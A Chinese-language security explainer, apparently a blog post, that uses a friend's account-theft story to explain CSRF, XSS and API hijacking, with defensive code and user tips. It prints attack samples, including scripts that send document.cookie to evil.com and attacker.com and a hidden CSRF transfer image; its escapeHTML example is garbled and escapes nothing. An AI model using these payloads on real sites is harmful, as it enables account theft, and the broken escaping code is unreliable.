某网站用户数据被盗只因AJAX接口没保护好 CSRF XSS API劫持三种常见问题详解及实用防护方案让普通用户也能学会如何保护个人信息和账户安全
一桩发生在上周的真实案件
上周有个朋友小陈,某天打开自己的账户,发现里面的个人信息被改得面目全非。银行卡绑定的手机号变成了陌生号码,邮箱也换了,最后钱差点被转走。
他一脸懵逼,问我:”我密码很复杂啊,设备也是自己的,这到底是怎么被盗的?”
我说,这个问题可能不在密码,而在网站本身的安全设计。
后来经过分析,发现是这个网站的AJAX接口存在多处漏洞——CSRF、XSS、API劫持,三种典型的Web安全问题叠加在一起,最终让用户的数据被攻击者轻易窃取。
今天我们就来详细聊聊这三种常见问题,不光告诉你它们是什么,还要让你学会怎么防护自己。
先说AJAX接口,为什么它这么重要?
很多普通用户可能听说过AJAX这个词,但不知道它是什么。
简单说,AJAX(Asynchronous JavaScript and XML)是一种网页技术,让网页在不刷新整个页面的情况下,和服务器进行数据交换。
比如你刷微博,下拉就能看新内容,这就是AJAX在背后工作。
但因为AJAX太方便了,很多网站开发时忽视了它的安全问题。攻击者往往就是盯上这些”看似正常”的接口下手。
第一种坑:CSRF(跨站请求伪造)
这是什么?
想象一下这个场景:
你登录了自己的银行账户,然后去了一个网站看新闻。这个网站表面上是正规的,但页面里藏了一段恶意代码。
这段代码会在你的浏览器里偷偷执行,带着你登录银行的状态,向银行服务器发送一条指令:”请把这个账户的钱转到这个账户”。
银行服务器一看,请求来自你的浏览器,而且带着你的登录状态,就”信以为真”执行了操作。
这就是CSRF——攻击者伪装成你的意愿,帮你执行了危险操作。
举个具体例子
假设某网站有个转账AJAX接口,URL是这样的:
https://bank.example.com/api/transfer?to=attacker&amount=5000
攻击者在自己的网站上放了这段代码:
<img src="https://bank.example.com/api/transfer?to=attacker&amount=5000" style="display:none;">
当你访问攻击者的网站,这个图片请求就会静默发送,你的银行账户就被转了5000块。
网站应该怎么防护?
1. 使用CSRF Token
每次表单提交时,服务器要生成一个随机token,放在表单里一起提交。攻击者没有这个token,就无法伪造请求。
<!-- 服务器生成的token放在隐藏字段里 -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="a8f5k2m9x1p4q7w3">
<input type="hidden" name="amount" value="5000">
<input type="hidden" name="to" value="合法账户">
<button type="submit">转账</button>
</form>
服务器收到请求后,先验证这个token是否正确:
# Python伪代码示例
def handle_transfer(request):
csrf_token = request.POST.get('csrf_token')
# 验证token是否与用户session中的匹配
if not validate_csrf_token(csrf_token, request.session):
return HttpResponse("请求无效", status=403)
# token验证通过后,再处理转账逻辑
process_transfer(...)
2. 检查Referer头
服务器可以检查请求的Referer头,确认请求确实来自本站:
# 检查Referer是否来自本站
referer = request.META.get('HTTP_REFERER', '')
if not referer.startswith('https://bank.example.com'):
return HttpResponse("非法来源", status=403)
3. 对敏感操作要求二次验证
转账、改密码这类操作,要求用户输入密码或手机验证码,而不是直接执行。
普通用户怎么防范?
- 不要在不信任的网站保持登录状态,特别是涉及银行卡、社交账号的
- 登录敏感网站(银行、支付平台)时,用完就退出
- 浏览器可以安装广告拦截插件,减少恶意页面的风险
- 开启网站的两步验证(2FA),多一层保护
第二种坑:XSS(跨站脚本攻击)
这是什么?
XSS比CSRF更常见,也更隐蔽。
它的原理是:攻击者在网页里注入恶意JavaScript代码,当其他用户浏览这个网页时,代码就会在用户的浏览器里执行。
举个例子:
某论坛有个帖子功能,用户在发帖时输入的内容会被直接显示在网页上。如果某个用户发帖输入:
<script>
// 把当前用户Cookie发送给攻击者
document.location = 'http://evil.com/steal?cookie=' + document.cookie;
</script>
其他用户看到这个帖子时,这段代码就会在他们的浏览器里执行,攻击者就能拿到这些用户的Cookie——而Cookie往往包含了登录凭证。
XSS的三种类型
1. 反射型XSS
攻击者构造一个恶意链接,诱导你点击。你点击后,恶意脚本会反射回你的浏览器执行。
比如某个搜索框有漏洞,攻击者构造这样的链接:
https://example.com/search?q=<script>stealCookie()</script>
2. 存储型XSS
恶意代码被存储在服务器数据库中(比如发帖子、写评论),之后所有访问这个内容的用户都会中招。这是最危险的类型。
3. DOM型XSS
攻击者通过修改页面的DOM结构来注入恶意代码,不涉及服务器。
网站应该怎么防护?
1. 输入过滤和输出编码
这是最基本的防护。对用户输入的内容进行转义处理:
// JavaScript - 对用户输入进行转义
function escapeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 正确做法:显示内容时用转义后的字符串
var userInput = "<script>alert('xss')</script>";
document.getElementById('display').innerText = userInput;
// 错误做法:直接插入HTML
// document.getElementById('display').innerHTML = userInput;
2. 使用Content-Security-Policy(CSP)头
CSP是一个HTTP响应头,告诉浏览器只允许加载特定来源的资源:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
这意味着浏览器只会执行来自本站和可信CDN的脚本,阻止了外部恶意脚本的执行。
3. 使用现代化的前端框架
React、Vue等框架默认会对内容进行转义:
// React - 自动转义,安全
function DisplayMessage({ message }) {
return <div>{message}</div>; // message会被自动转义
}
// 如果一定要插入HTML,用dangerouslySetInnerHTML但要小心
<div dangerouslySetInnerHTML={{ __html: safeHTML }} />
4. 对Cookie设置HttpOnly
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly标识让JavaScript无法读取这个Cookie,即使XSS攻击成功,攻击者也拿不到Cookie。
普通用户怎么防范?
- 浏览不熟悉的网站时,不要登录你的重要账户
- 浏览器安装UBlock Origin等广告拦截插件,可以过滤大部分恶意脚本
- 如果发现某个网页加载了奇怪的脚本,立即关闭
- 使用浏览器扩展如NoScript,可以阻止未授权的JavaScript执行
第三种坑:API劫持
这是什么?
这个可能很多人没听说过。
简单来说,API劫持就是攻击者拦截了客户端和服务器之间的通信,然后篡改或窃取数据。
想象你寄信,信在半路上被偷看、被替换,而你完全不知道。
攻击场景举例
某网站有一个获取用户信息的AJAX接口:
GET https://example.com/api/user/info
正常情况下,你的浏览器发送这个请求,服务器返回你的用户信息,你看到的是正常的界面。
但攻击者在中间拦截了这个请求,可以:
- 窃取数据:把返回的用户信息转发给自己
- 篡改数据:修改返回的信息,比如把”余额100元”改成”余额10000元”
攻击者怎么做到?
1. 中间人攻击(MITM)
如果网站没有使用HTTPS,或者证书配置有问题,攻击者可以在你和网站之间的网络节点上拦截通信。在公共WiFi下尤其危险。
2. 恶意浏览器插件
有些浏览器插件会注入代码到所有网页中,包括拦截AJAX请求:
// 恶意插件注入的代码示例
const originalFetch = window.fetch;
window.fetch = function(url, options) {
// 记录所有请求
console.log('Intercepted:', url, options);
// 获取响应并可能被篡改
return originalFetch(url, options).then(response => {
// 可能修改响应内容
return response;
});
};
3. DNS劫持
攻击者控制DNS服务器,把你的域名解析到他们控制的服务器:
原本:example.com → 192.168.1.1(真正的服务器)
劫持:example.com → 10.0.0.1(攻击者的服务器)
网站应该怎么防护?
1. 全站HTTPS
# Nginx配置 - 强制HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl;
server_name example.com;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# 启用HSTS,防止降级攻击
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
}
2. 请求签名验证
每次请求都带上签名,服务器验证签名的有效性:
// 前端生成请求签名
function generateSignature(params, secret) {
// 对参数排序并拼接
const sorted = Object.keys(params).sort().map(k => `${k}=${params[k]}`).join('&');
// 使用HMAC-SHA256生成签名
const hmac = CryptoJS.HmacSHA256(sorted, secret);
return CryptoJS.enc.Base64.stringify(hmac);
}
// 发送请求时带上签名
const signature = generateSignature({
user_id: '12345',
action: 'get_info',
timestamp: Date.now()
}, 'your_secret_key');
fetch('/api/user/info', {
headers: {
'X-Signature': signature,
'X-Timestamp': Date.now()
}
});
3. 接口权限控制
每个接口都要验证用户的身份和权限,不能因为”接口存在”就认为调用方是合法的:
# Python后端示例 - 接口权限验证
from functools import wraps
from flask import request, jsonify
def require_auth(f):
@wraps(f)
def decorated_function(*args, **kwargs):
# 验证用户是否登录
user_id = request.headers.get('X-User-ID')
token = request.headers.get('Authorization')
if not user_id or not verify_token(token):
return jsonify({"error": "未授权"}), 401
# 验证请求签名
signature = request.headers.get('X-Signature')
if not verify_signature(signature):
return jsonify({"error": "签名无效"}), 403
return f(*args, **kwargs)
return decorated_function
@app.route('/api/user/info', methods=['GET'])
@require_auth
def get_user_info():
# 只有验证通过才能执行
return jsonify({"user_id": current_user.id, "name": current_user.name})
4. 敏感数据加密传输
// 前端加密敏感字段
function encryptSensitiveData(data, publicKey) {
// 使用公钥加密敏感信息
const encrypted = RSAEncrypt(JSON.stringify(data), publicKey);
return encrypted;
}
// 服务器端解密
function decryptData(encryptedData, privateKey) {
const decrypted = RSADecrypt(encryptedData, privateKey);
return JSON.parse(decrypted);
}
普通用户怎么防范?
- 永远使用HTTPS网站,注意浏览器地址栏的锁形图标
- 不要连接不明公共WiFi处理敏感事务,如果必须连接,使用VPN
- 浏览器不要安装来源不明的插件,定期检查已安装的扩展
- 使用密码管理器,避免在不同网站使用相同密码
综合分析:三种漏洞叠加的可怕之处
回到小陈的案例。这个网站其实同时存在三种漏洞:
- CSRF防护缺失:转账接口没有验证token
- XSS漏洞:用户评论功能没有过滤HTML
- API劫持风险:部分接口没有HTTPS,也没有请求签名
攻击者的手法是这样的:
第一步:在论坛发帖子,插入XSS恶意代码
<!-- 恶意帖子内容 -->
<img src="https://attacker.com/steal"
onerror="new Image().src='https://attacker.com/collect?cookie=' + document.cookie">
第二步:其他用户(包括小陈)浏览这个帖子时,XSS代码执行,Cookie被发送到攻击者的服务器
第三步:攻击者拿到小陈的Cookie后,伪造请求,利用CSRF漏洞向银行接口发送转账指令
第四步:由于API没有签名验证,攻击者的伪造请求成功执行
三个漏洞环环相扣,最终导致小陈的账户被盗。
普通用户实用的自我保护清单
作为普通用户,我们做不到修复网站的漏洞,但可以做这些:
日常习惯
| 习惯 | 说明 |
|---|---|
| 定期修改密码 | 使用不同的密码保护不同网站,推荐使用1Password或Bitwarden管理 |
| 开启两步验证 | 几乎所有重要网站都支持,开启后即使密码泄露,账户也更安全 |
| 用完敏感网站就退出 | 特别是用别人电脑或公共电脑时 |
| 谨慎点击链接 | 不认识的链接不要点,特别是短信、邮件里发来的 |
| 定期检查账户活动 | 看看有没有异常的登录或操作记录 |
浏览器安全设置
推荐安装的浏览器扩展:
1. uBlock Origin - 拦截恶意广告和脚本
2. HTTPS Everywhere - 强制使用HTTPS连接
3. Privacy Badger - 阻止追踪器
4. Bitwarden - 密码管理器
5. NoScript - 禁用未知网站的JavaScript(高级用户)
识别风险信号
- 网站地址不是https开头的
- 页面加载了大量广告和弹窗
- 要求输入过多个人信息
- 网站看起来设计粗糙、有很多错别字
- 要求你下载不明软件
遇到这些情况,果断离开,不要输入任何个人信息。
写给开发者的话
如果你正在开发网站,请记住:
安全不是功能,是基础。
很多开发者把安全放在最后考虑,觉得”不会有安全问题”。但现实是,每年都有大量网站因为CSRF、XSS、API安全问题导致用户数据泄露。
一个简单的检查清单:
□ 所有表单都使用CSRF Token
□ 所有用户输入都做转义处理
□ 全站启用HTTPS,配置HSTS
□ 敏感接口使用请求签名
□ Cookie设置HttpOnly和SameSite
□ 使用Content-Security-Policy头
□ 定期进行安全测试和代码审查
最后的话
小陈的账户后来被找回了,但他说:”那段时间整天担心,睡眠都变差了。”
其实这样的事情在很多网站上都可能发生。我们普通人没有能力修复网站的漏洞,但了解这些知识,能让我们更好地保护自己的信息。
记住,安全不是某个人的责任,是网站开发者和用户共同的事。网站要负责任地保护用户数据,用户也要养成良好的安全习惯。
希望这篇文章能帮到你。如果你觉得有用,转发给你关心的人,让更多人了解这些安全知识。